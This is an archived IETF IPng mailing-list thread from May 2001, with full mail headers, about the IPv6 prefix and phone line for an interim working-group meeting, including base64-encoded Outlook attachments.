SABVAEkAVABFAE0AQQAAAB8AOUABAAAABAAAAC4AAAALACkAAAAAAAsAIwAAAAAAAwAGED+yLYgD AAcQvwAAAAMAEBAAAAAAAwAREAAAAAAeAAgQAQAAAGUAAABXRUhBVkVBUEhPTkVIT09LVVBUT1RI RUNPTkZFUkVOQ0VST09NVE9EQVksVE9NT1JST1cmRlJJREFZLEFMTE9XSU5HRk9SVVBUTzI1Q0FM TEVSU0JFVFdFRU45QU1BTkQ1UE1MAAAAAAIBfwABAAAAWwAAADxGNjZBMDRDMjlBRDkwMzRBODIw NTk0OUFEMEM5MDEwNDE4QkUwREB3aW4tbXNnLTAyLndpbmdyb3VwLndpbmRlcGxveS5udGRldi5t aWNyb3NvZnQuY29tPgAAE/Q= ------_=_NextPart_001_01C0E933.70BFF280-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 30 13:42:54 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4UKgCT11307 for ipng-dist; Wed, 30 May 2001 13:42:12 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4UKg7e11300; Wed, 30 May 2001 13:42:08 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA15911; Wed, 30 May 2001 13:42:01 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA17631; Wed, 30 May 2001 14:42:25 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id D7B264B0B; Thu, 31 May 2001 05:41:53 +0900 (JST) To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: IPv6 @ interim meeting From: itojun@iijlab.net Date: Thu, 31 May 2001 05:41:53 +0900 Message-ID: <29415.991255313@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk as a temporary measure I have configured tunnel to IIJ Palo Alto device. the IPv6 prefix for the meeting room is 3ffe:507:1ff::/64. it would be, of course, better to have ipv6 prefix from microsoft research :-) itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 30 13:55:06 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4UKsMV11367 for ipng-dist; Wed, 30 May 2001 13:54:22 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4UKsFe11351; Wed, 30 May 2001 13:54:15 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA24276; Wed, 30 May 2001 13:54:22 -0700 (PDT) Received: from pimout4-int.prodigy.net (pimout4-ext.prodigy.net [207.115.63.103]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA29239; Wed, 30 May 2001 14:54:21 -0600 (MDT) Received: from jim (ip-20-152-191.chicago-n.navipath.net [64.20.152.191]) by pimout4-int.prodigy.net (8.11.0/8.11.0) with SMTP id f4UKsGV83342; Wed, 30 May 2001 16:54:17 -0400 From: "JIM FLEMING" To: , , Subject: RE: IPv6 @ interim meeting Date: Wed, 30 May 2001 15:55:27 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <29415.991255313@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Anyone with access to the IPv4 Internet has an IPv8-compatible prefix for FREE. 2002::0000: Jim Fleming http://www.unir.com/images/architech.gif http://www.unir.com/images/address.gif http://www.unir.com/images/headers.gif http://www.ntia.doc.gov/ntiahome/domainname/130dftmail/unir.txt http://msdn.microsoft.com/downloads/sdks/platform/tpipv6/start.asp -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of itojun@iijlab.net Sent: Wednesday, May 30, 2001 3:42 PM To: ipng@sunroof.eng.sun.com; ngtrans@sunroof.eng.sun.com Subject: IPv6 @ interim meeting as a temporary measure I have configured tunnel to IIJ Palo Alto device. the IPv6 prefix for the meeting room is 3ffe:507:1ff::/64. it would be, of course, better to have ipv6 prefix from microsoft research :-) itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 30 15:17:40 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4UMGtv11602 for ipng-dist; Wed, 30 May 2001 15:16:55 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4UMGpe11595; Wed, 30 May 2001 15:16:51 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA11568; Wed, 30 May 2001 15:16:58 -0700 (PDT) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA02343; Wed, 30 May 2001 16:16:55 -0600 (MDT) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4UMGpZ25281; Wed, 30 May 2001 15:16:51 -0700 (PDT) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id f4UMGpV26878; Wed, 30 May 2001 15:16:51 -0700 Message-Id: <200105302216.f4UMGpV26878@zed.isi.edu> Subject: Re: IPv6 @ interim meeting To: itojun@iijlab.net Date: Wed, 30 May 2001 15:16:51 -0700 (PDT) Cc: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com In-Reply-To: <29415.991255313@itojun.org> from "itojun@iijlab.net" at May 31, 2001 05:41:53 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % % as a temporary measure I have configured tunnel to IIJ Palo Alto device. % the IPv6 prefix for the meeting room is 3ffe:507:1ff::/64. % % it would be, of course, better to have ipv6 prefix from microsoft % research :-) % % itojun The really cool thing about this is that the 3ffe:50:: prefix gets used all over the place and renumbering just happens(*). How many workshops/labs/conferences have used this prefix over the past couple of years? (*) (modulo those bits of infrastructure that hardcode address literals) --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 30 15:42:48 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4UMfvt11648 for ipng-dist; Wed, 30 May 2001 15:41:57 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4UMfre11641; Wed, 30 May 2001 15:41:53 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA24494; Wed, 30 May 2001 15:41:59 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA24317; Wed, 30 May 2001 16:42:19 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id D68F84B0B; Thu, 31 May 2001 07:41:46 +0900 (JST) To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com In-reply-to: bmanning's message of Wed, 30 May 2001 15:16:51 MST. <200105302216.f4UMGpV26878@zed.isi.edu> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: IPv6 @ interim meeting From: itojun@iijlab.net Date: Thu, 31 May 2001 07:41:46 +0900 Message-ID: <396.991262506@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The really cool thing about this is that the 3ffe:50:: prefix gets > used all over the place and renumbering just happens(*). How many > workshops/labs/conferences have used this prefix over the past > couple of years? > (*) (modulo those bits of infrastructure that hardcode address literals) not sure i got what you mean, but anyway... we have served a couple of IETFs, USENIX and Internet2 conferences, a lot of conferences/offsite meetings in Japan by using 3ffe:50[17]::/24 and 2001:{18,20,24}0::/35. honestly, we do not really renumber from these temporary prefix to permanent ones, we just tear down these temporary prefixes and the conference network goes back to IPv4 only. (i'm using my laptop as the router for the segment, so the connectivity goes away as soon as I go home...) itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 30 15:43:43 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4UMgwF11679 for ipng-dist; Wed, 30 May 2001 15:42:58 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4UMgMe11650; Wed, 30 May 2001 15:42:22 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA24144; Wed, 30 May 2001 15:42:28 -0700 (PDT) Received: from dillema.net (server.pasta.cs.UiT.No [129.242.16.119]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA20113; Wed, 30 May 2001 16:42:25 -0600 (MDT) Received: (from dillema@localhost) by dillema.net (8.11.3/8.11.3) id f4UMXfQ02061; Thu, 31 May 2001 00:33:41 +0200 (CEST) Date: Thu, 31 May 2001 00:33:41 +0200 From: Feico Dillema To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com Subject: Re: Re: IPv6 @ interim meeting Message-ID: <20010531003341.A1987@pasta.cs.uit.no> Mail-Followup-To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com References: <29415.991255313@itojun.org> <200105302216.f4UMGpV26878@zed.isi.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105302216.f4UMGpV26878@zed.isi.edu>; from bmanning@ISI.EDU on Wed, May 30, 2001 at 03:16:51PM -0700 X-Operating-System: NetBSD drifter.dillema.net 1.5V NetBSD 1.5V (DRIFTER) X-URL: http://www.dillema.net/ Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, May 30, 2001 at 03:16:51PM -0700, Bill Manning wrote: > % > % as a temporary measure I have configured tunnel to IIJ Palo Alto device. > % the IPv6 prefix for the meeting room is 3ffe:507:1ff::/64. > % > % it would be, of course, better to have ipv6 prefix from microsoft > % research :-) > % > % itojun > > The really cool thing about this is that the 3ffe:50:: prefix gets > used all over the place and renumbering just happens(*). How many > workshops/labs/conferences have used this prefix over the past > couple of years? > (*) (modulo those bits of infrastructure that hardcode address literals) Maybe a different prefix for each meeting would be more fun? The prefix I got during my last IETF meeting stayed with me on my laptop in deprecated state for weeks after it. By using sleep and hibernation mode more often, we could start collecting prefixes as meeting-souvenirs ;-}... Feico. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 30 16:55:55 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4UNtBY11868 for ipng-dist; Wed, 30 May 2001 16:55:11 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4UNt7e11861 for ; Wed, 30 May 2001 16:55:08 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA09131 for ; Wed, 30 May 2001 16:55:15 -0700 (PDT) Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id QAA15967 for ; Wed, 30 May 2001 16:55:13 -0700 (PDT) Received: from 157.54.9.108 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 30 May 2001 16:54:54 -0700 (Pacific Daylight Time) Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-imc-05.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Wed, 30 May 2001 16:55:07 -0700 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.82]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Wed, 30 May 2001 16:55:05 -0700 Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.1600); Wed, 30 May 2001 16:54:17 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C0E963.D64E2F8D" Subject: RE: Interim Meeting -- phone line Date: Wed, 30 May 2001 16:54:17 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Interim Meeting Parking Info/Directions Thread-Index: AcDocZXKguLMcMToQp2gBblUoWXKxwAwV4npAAwuiWk= From: "Christian Huitema" To: "Christian Huitema" , , X-OriginalArrivalTime: 30 May 2001 23:54:17.0882 (UTC) FILETIME=[D6A92FA0:01C0E963] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------_=_NextPart_001_01C0E963.D64E2F8D Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 T25lIG1vcmUgY2hhbmdlIHRvIHRoZSBtZWV0aW5nIHBsYWNlIGNhbGwgZm9yIHRvbW9ycm93ICYg RnJpZGF5LiAgUGhvbmUNCm51bWJlciBpcyBzdGlsbCB0aGUgc2FtZTogICsxICg0MjUpIDcwMy03 NjAwIGxvY2FsbHkgYW5kIDgwMC00MjEtNjczOC4gIA0KIA0KTWVldGluZyBJRCBoYXMgY2hhbmdl ZDogIDE5NjIgTk9UIDE5MjYNCg0KCS0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tIA0KCUZyb206 IENocmlzdGlhbiBIdWl0ZW1hIG9uIGJlaGFsZiBvZiBDaHJpc3RpYW4gSHVpdGVtYSANCglTZW50 OiBXZWQgNS8zMC8yMDAxIDExOjA3IEFNIA0KCVRvOiBpcG5nQHN1bnJvb2YuZW5nLnN1bi5jb207 IG5ndHJhbnNAc3Vucm9vZi5lbmcuc3VuLmNvbSANCglDYzogDQoJU3ViamVjdDogSW50ZXJpbSBN ZWV0aW5nIC0tIHBob25lIGxpbmUNCgkNCgkNCglXZSBoYXZlIGEgcGhvbmUgaG9vayB1cCB0byB0 aGUgY29uZmVyZW5jZSByb29tIHRvZGF5LCB0b21vcnJvdyAmDQpGcmlkYXksIGFsbG93aW5nIGZv ciB1cCB0byAyNSBjYWxsZXJzIGJldHdlZW4gOWFtIGFuZCA1cG0gbG9jYWwgdGltZS4NClRoZSBj YWxsIG51bWJlciBpczoNCgkgICAgICAgICAgIDEtODAwLTQyMS02NzM4IG9yICsxICg0MjUpIDcw My03NjAwDQoJVGhlIG1lZXRpbmcgSUQgaXMNCgkgICAgICAgICAgIDE5MjYNCgkgDQoJLS0gQ2hy aXN0aWFuIEh1aXRlbWEgDQoNCg== ------_=_NextPart_001_01C0E963.D64E2F8D Content-Type: application/ms-tnef; name="winmail.dat" Content-Transfer-Encoding: base64 eJ8+IhIXAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAENgAQAAgAAAAIAAgABBYAD AA4AAADRBwUAHgAQADYAEQADAFUBASCAAwAOAAAA0QcFAB4AEAA2ABEAAwBVAQEJgAEAIQAAAEEz M0VCRkEyRkUxRDk3NEI4MEU3NjEzQTY2Qzg0RDU2AFYHAQOQBgCcEgAAOAAAAB8AGgABAAAAEgAA AEkAUABNAC4ATgBvAHQAZQAAAAAAAwA2AAAAAAAfADcAAQAAAEQAAABSAEUAOgAgAEkAbgB0AGUA cgBpAG0AIABNAGUAZQB0AGkAbgBnACAALQAtACAAcABoAG8AbgBlACAAbABpAG4AZQAAAEAAOQCN L07WY+nAAR8APQABAAAACgAAAFIARQA6ACAAAAAAAAIBRwABAAAAPAAAAGM9VVM7YT13aW5kb3dz O3A9TWljcm9zb2Z0O2w9V0lOLU1TRy0wMi0wMTA1MzAyMzU0MTdaLTE1Nzk1AB8ASQABAAAAPAAA AEkAbgB0AGUAcgBpAG0AIABNAGUAZQB0AGkAbgBnACAALQAtACAAcABoAG8AbgBlACAAbABpAG4A ZQAAAEAATgCA8r9wM+nAAR8AWgABAAAAJAAAAEMAaAByAGkAcwB0AGkAYQBuACAASAB1AGkAdABl AG0AYQAAAAIBWwABAAAAUQAAAAAAAACBKx+kvqMQGZ1uAN0BD1QCAAAAAENocmlzdGlhbiBIdWl0 ZW1hAFNNVFAAb3duZXItbmd0cmFuc0BzdW5yb29mLmVuZy5zdW4uY29tAAAAAAIBXAABAAAAJwAA AFNNVFA6T1dORVItTkdUUkFOU0BTVU5ST09GLkVORy5TVU4uQ09NAAAfAF0AAQAAACQAAABDAGgA cgBpAHMAdABpAGEAbgAgAEgAdQBpAHQAZQBtAGEAAAACAV4AAQAAAGAAAAAAAAAA3KdAyMBCEBq0 uQgAKy/hggEAAAAAAAAAL089TUlDUk9TT0ZUL09VPUZJUlNUIEFETUlOSVNUUkFUSVZFIEdST1VQ L0NOPVJFQ0lQSUVOVFMvQ049SFVJVEVNQQACAV8AAQAAAEcAAABFWDovTz1NSUNST1NPRlQvT1U9 RklSU1QgQURNSU5JU1RSQVRJVkUgR1JPVVAvQ049UkVDSVBJRU5UUy9DTj1IVUlURU1BAAAfAGYA AQAAAAoAAABTAE0AVABQAAAAAAAfAGcAAQAAAEQAAABvAHcAbgBlAHIALQBuAGcAdAByAGEAbgBz AEAAcwB1AG4AcgBvAG8AZgAuAGUAbgBnAC4AcwB1AG4ALgBjAG8AbQAAAB8AaAABAAAACgAAAFMA TQBUAFAAAAAAAB8AaQABAAAAPAAAAGgAdQBpAHQAZQBtAGEAQAB3AGkAbgBkAG8AdwBzAC4AbQBp AGMAcgBvAHMAbwBmAHQALgBjAG8AbQAAAB8AcAABAAAAUAAAAEkAbgB0AGUAcgBpAG0AIABNAGUA ZQB0AGkAbgBnACAAUABhAHIAawBpAG4AZwAgAEkAbgBmAG8ALwBEAGkAcgBlAGMAdABpAG8AbgBz AAAAAgFxAAEAAAAgAAAAAcDocZXKguLMcMToQp2gBblUoWXKxwAwV4npAAwuiWkfAHQAAQAAAGwA AABpAHAAbgBnAEAAcwB1AG4AcgBvAG8AZgAuAGUAbgBnAC4AcwB1AG4ALgBjAG8AbQA7ACAAbgBn AHQAcgBhAG4AcwBAAHMAdQBuAHIAbwBvAGYALgBlAG4AZwAuAHMAdQBuAC4AYwBvAG0AAAAfABoM AQAAACQAAABDAGgAcgBpAHMAdABpAGEAbgAgAEgAdQBpAHQAZQBtAGEAAAAfAB0OAQAAADwAAABJ AG4AdABlAHIAaQBtACAATQBlAGUAdABpAG4AZwAgAC0ALQAgAHAAaABvAG4AZQAgAGwAaQBuAGUA AAACAQkQAQAAANcIAADTCAAAaiUAAExaRnX4YkXkAwAKAHJjcGcxMjWCMgNDaHRtbDEDMD8BAwH3 CoACpAPjAgBjaMEKwHNldDAgBxMCgP8QAwBQBFYIVQeyEdUOUQMB3RDXMgYABsMR1TMERhDZCRLv ZjQQbyBUYWjfA3ECgBHjCO8J9zsazw4w9jUb4w4gOBsfGv4R4QxgzmMAUAsJAWQzNhFgC6VkNCAQ AipcDrIBkGdfFPAKoxHjIm8jfDQU8DwAIURPQ1RZUEUAIEhUTUwgUFUAQkxJQyAiLS8QL1czQydQ RFREESZkMy4yJ1BFTiLuPiNvJH8OEDglwCZyKN8bKe8sYDMiACtARUFEfyudDvEsvy8/ME8xXypM NkEO8DxNRVRBB7BBMTTQPSJHCfAEkGF0RQWwIhcQT05UKKBUEzVgBeFFeBDxbmdlPQZSdhMxN7EA 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 IENoSrA+c1EgUEALHzgvVJVIdfhpdGUmkCmfKq82fy+P/zCfTe8tHxJ/Mh8zLzQ/NU8DTX9WjUJM T0NLUfBVT1RFV6tJgTcgWG83N59czzhsNUQRWiBPRF5ZRbA4fF7PORI3V0FIKFRNTEWwfWOQAB8A NRABAAAAtgAAADwARgA2ADYAQQAwADQAQwAyADkAQQBEADkAMAAzADQAQQA4ADIAMAA1ADkANAA5 AEEARAAwAEMAOQAwADEAMAA0ADEAOABCAEUAMQBDAEAAdwBpAG4ALQBtAHMAZwAtADAAMgAuAHcA aQBuAGcAcgBvAHUAcAAuAHcAaQBuAGQAZQBwAGwAbwB5AC4AbgB0AGQAZQB2AC4AbQBpAGMAcgBv AHMAbwBmAHQALgBjAG8AbQA+AAAAAAAfAEcQAQAAAB4AAABtAGUAcwBzAGEAZwBlAC8AcgBmAGMA OAAyADIAAAAAAAsA8hABAAAAHwDzEAEAAABQAAAAUgBFACUAMwBBACAASQBuAHQAZQByAGkAbQAg AE0AZQBlAHQAaQBuAGcAIAAtAC0AIABwAGgAbwBuAGUAIABsAGkAbgBlAC4ARQBNAEwAAAALAPYQ AAAAAEAABzDYchCuY+nAAUAACDCMVlXWY+nAAQMA3j/p/QAAAwDxPwkEAAAfAPg/AQAAACQAAABD AGgAcgBpAHMAdABpAGEAbgAgAEgAdQBpAHQAZQBtAGEAAAACAfk/AQAAAGAAAAAAAAAA3KdAyMBC EBq0uQgAKy/hggEAAAAAAAAAL089TUlDUk9TT0ZUL09VPUZJUlNUIEFETUlOSVNUUkFUSVZFIEdS T1VQL0NOPVJFQ0lQSUVOVFMvQ049SFVJVEVNQQAfAPo/AQAAACoAAABTAHkAcwB0AGUAbQAgAEEA ZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAAAAAAIB+z8BAAAAHgAAAAAAAADcp0DIwEIQGrS5CAAr L+GCAQAAAAAAAAAuAAAAAwD9P+QEAAADABlAAAAAAAMAGkAAAAAAAwAdQAAAAAADAB5AAAAAAB8A MEABAAAAEAAAAEgAVQBJAFQARQBNAEEAAAAfADFAAQAAABAAAABIAFUASQBUAEUATQBBAAAAHwAy QAEAAABEAAAAbwB3AG4AZQByAC0AbgBnAHQAcgBhAG4AcwBAAHMAdQBuAHIAbwBvAGYALgBlAG4A 